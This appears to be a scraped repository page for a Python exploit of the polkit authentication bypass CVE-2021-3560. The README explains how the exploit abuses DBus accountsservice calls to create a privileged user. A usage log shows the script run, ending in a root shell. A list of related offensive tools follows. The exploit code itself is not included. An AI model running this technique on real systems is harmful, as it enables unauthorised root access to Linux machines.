Polkit-exploit - CVE-2021-3560

Privilege escalation with polkit - CVE-2021-3560

Summary

CVE-2021-3560 is an authentication bypass on polkit, which allows unprivileged user to call privileged methods using DBus, in this exploit we will call 2 privileged methods provided by accountsservice (CreateUser and SetPassword), which allows us to create a priviliged user then setting a password to it and at the end logging as the created user and then elevate to root.

Exploit Code Author

Ahmad Almorabea @almorabea http://almorabea.net

Usage

[email protected]:~/Desktop$ python3 CVE-2021-3560.py 
**************
Exploit: Privilege escalation with polkit - CVE-2021-3560
Exploit code written by Ahmad Almorabea @almorabea
Original Exploit Author: Kevin Backhouse 
For more details check this: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/#history
[+]Starting the Exploit 
[+] User Created with the name of ahmed
[+] Timed out at: 0.008446890996407191
[+] Timed out at: 0.008934336684707084
[+] Exploit Completed, your new user is 'Ahmed' just log into it like, 'su ahmed', and then 'sudo su' to root 
bash: cannot set terminal process group (46983): Inappropriate ioctl for device
bash: no job control in this shell
[email protected]:/home/test/Desktop# id
uid=0(root) gid=0(root) groups=0(root)
[email protected]:/home/test/Desktop# whoami
root
[email protected]:/home/test/Desktop#

Demo

GUI Authentication

Terminal Authentication

Credit

Kevin Backhouse (https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/)

Privilege escalation with polkit - CVE-2021-3560

Related tags

Overview

Polkit-exploit - CVE-2021-3560

Summary

Exploit Code Author

Usage

Demo

Credit

Owner

Ahmad Almorabea

Phoenix Framework is an environment for writing, testing and using exploit code.

A Proof-Of-Concept for the recently found CVE-2021-44228 vulnerability

A security system to warn you when people enter your room 🎥

Scanning for CVE-2021-44228

Red Team Toolkit is an Open-Source Django Offensive Web-App which is keeping the useful offensive tools used in the red-teaming together.

Log4j exploit catcher, detect Log4Shell exploits and try to get payloads.

Script hecho en python para sacar la informacion del numero de telefono, Hecha con el API de numverify

nuclei scanner for proxyshell ( CVE-2021-34473 )

pwncat module that automatically exploits CVE-2021-4034 (pwnkit)

Sonoff NSPanel protocol and hacking information. Tasmota Berry driver for NSPanel

A Python replicated exploit for Webmin 1.580 /file/show.cgi Remote Code Execution

Sentinel-1 SAR time series analysis for OSINT use

(D)arth (S)ide of the (L)og4j (F)orce, the ultimate log4j vulnerabilities assessor

Polkit - Local Privilege Escalation (CVE-2021-3560)

An experimental script to perform bulk parsing of arbitrary file features with YARA and console logging.

A small script to export all AWAF policies from a BIG-IP device

CVE-2021-21972

Find existing email addresses by nickname using API/SMTP checking methods without user notification. Please, don't hesitate to improve cat's job! 🐱🔎 📬

I hacked my own webcam from a Kali Linux VM in my local network, using Ettercap to do the MiTM ARP poisoning attack, sniffing with Wireshark, and using metasploit

Open-source jailbreaking tool for many iOS devices